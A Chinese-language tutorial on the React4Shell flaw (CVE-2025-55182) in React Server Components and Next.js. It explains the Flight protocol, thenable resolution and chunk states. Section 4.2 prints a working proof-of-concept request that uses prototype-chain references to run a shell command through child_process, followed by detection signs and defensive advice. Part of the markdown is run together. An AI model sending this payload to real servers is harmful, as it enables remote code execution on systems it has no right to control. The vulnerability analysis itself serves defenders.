React4Shell 漏洞分析 (CVE-2025-55182) 教学文档
1. 前置基础知识
1.1 RSC (React Server Components) 服务端组件
定义与作用
- React的新特性,允许组件在服务器端执行并直接访问数据库等后端资源
- 服务器只将组件的渲染结果(React Flight Payload)发送给浏览器,而非组件代码本身
- 显著减少前端JS体积,加快首屏加载速度
- 浏览器与服务器通过Flight协议交换UI描述数据
技术对比
- 未使用RSC:浏览器需下载执行所有FE返回的JS文件,大文件导致加载延迟
- 使用RSC:复杂计算在服务端执行,直接返回渲染好的组件树,浏览器立即显示
1.2 Thenable 对象
核心概念
- 异步对象的标准接口,通过then(resolve)方法通知调用者异步操作完成状态
- "能够在完成后继续执行下一步的东西"
Promise Resolution Procedure (PRP)
- 当thenable的then(resolve)返回另一个thenable时,JavaScript引擎会递归解析
- 持续调用.then()直到最终结果不是thenable为止
示例场景
// thenable使用示例
async function demo() {
await new ImageLoader(url) // 返回thenable对象
// await检测then方法,暂停执行直到resolve被调用
}
2. Next.js中的RSC实现
2.1 请求处理流程
- Next.js默认支持RSC请求识别
- 根据特殊Header(Next-Action)执行不同的Server Action
- 精简请求流程:识别Header → 选择解码器 → 解码参数 → 执行Action → 编码返回
2.2 React Flight Protocol
- React客户端与服务器间传输数据的二进制协议
- 使用$前缀符号表示不同数据类型和引用
特殊引用符号表
| 符号 | 含义 | 使用场景 |
|---|---|---|
| $@ | Chunk引用 | 异步数据、Promise |
| $K | FormData引用 | 表单数据、文件上传 |
| $B | Blob引用 | 二进制数据、图片 |
| $F | Server Reference | Server Action函数 |
| $T | Temporary Reference | 临时引用 |
| $Q | Map对象 | Map数据结构 |
| $R | ReadableStream (text) | 文本流 |
| $r | ReadableStream (bytes) | 字节流 |
| $X | AsyncIterable | 异步迭代器 |
| $D | Date对象 | 日期时间 |
| $n | BigInt | 大整数 |
| $Z | Error对象 | 错误对象 |
\[ | 转义的$ | 字面量$ | ## 3. 解码机制分析 ### 3.1 解码流程 1. Next.js根据Content-Type选择解码器: - multipart/form-data → decodeReplyFromBusboy - 其他类型 → decodeReply 2. decodeReplyFromBusboy内部创建response对象,注册busboy事件监听器 3. 解码返回Chunk对象(必须是thenable),Next.js使用await等待结果 ### 3.2 Chunk对象状态机制 - **pending状态**:初始状态,将resolve/reason推入chunk的value - **resolved_model状态**:数据接收完成后修改状态,触发initializeModelChunk - **fulfilled状态**:最终完成状态,触发resolve() ### 3.3 递归解析过程 initializeModelChunk函数: - 解析JSON字符串为JavaScript对象 - 递归处理$开头的特殊标记 - 唤醒等待的await,继续执行后续代码 ## 4. 漏洞原理分析 ### 4.1 漏洞触发条件 - 使用multipart/form-data格式请求 - 设置不存在的Next-Action头 - 构造特殊的thenable对象链 ### 4.2 POC结构分析 ```http Next-Action: x Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye12x8j2O ------WebKitFormBoundarye12x8j2O Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{"then":"$B1337"}", "_response": { "_prefix": "process.mainModule.require('child_process').execSync('id');", "_chunks": "", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundarye12x8j2O Content-Disposition: form-data; name="1" "$@0" ``` ### 4.3 漏洞触发流程 **第一轮解析** - 解析伪造的chunk对象,status设置为"resolved_model" - 返回包含then方法的对象,触发PRP原则 **第二轮解析** - 继续执行then方法(指向Chunk.then) - status已是resolved_model状态,直接调用initializeModelChunk递归解析 **第三轮执行** - 对象的then方法指向恶意function - 执行恶意代码,实现RCE ### 4.4 关键技术点 1. **thenable递归解析**:利用PRP原则实现多层调用链 2. **状态机绕过**:直接设置resolved_model状态跳过正常流程 3. **原型链污染**:通过__proto__修改对象行为 4. **特殊引用滥用**:利用$符号的递归解析特性 ## 5. 漏洞利用特征 ### 5.1 请求特征 - 特殊的Next-Action头值 - multipart/form-data格式 - 包含精心构造的JSON数据 ### 5.2 执行特征 - 异常的对象状态转换 - 非常规的thenable调用链 - 递归解析深度异常 ## 6. 防护建议 ### 6.1 输入验证 - 严格验证Next-Action头的合法性 - 对multipart数据格式进行完整性检查 - 限制递归解析深度 ### 6.2 安全配置 - 及时更新React和Next.js版本 - 实施严格的CSP策略 - 限制服务器端执行权限 ### 6.3 监控检测 - 监控异常的thenable调用模式 - 检测异常的递归解析行为 - 建立请求特征指纹库 本漏洞的核心在于利用React Flight协议解析器和thenable递归解析机制的组合漏洞,通过精心构造的对象状态和原型链污染,实现从数据解析到代码执行的跨越。\]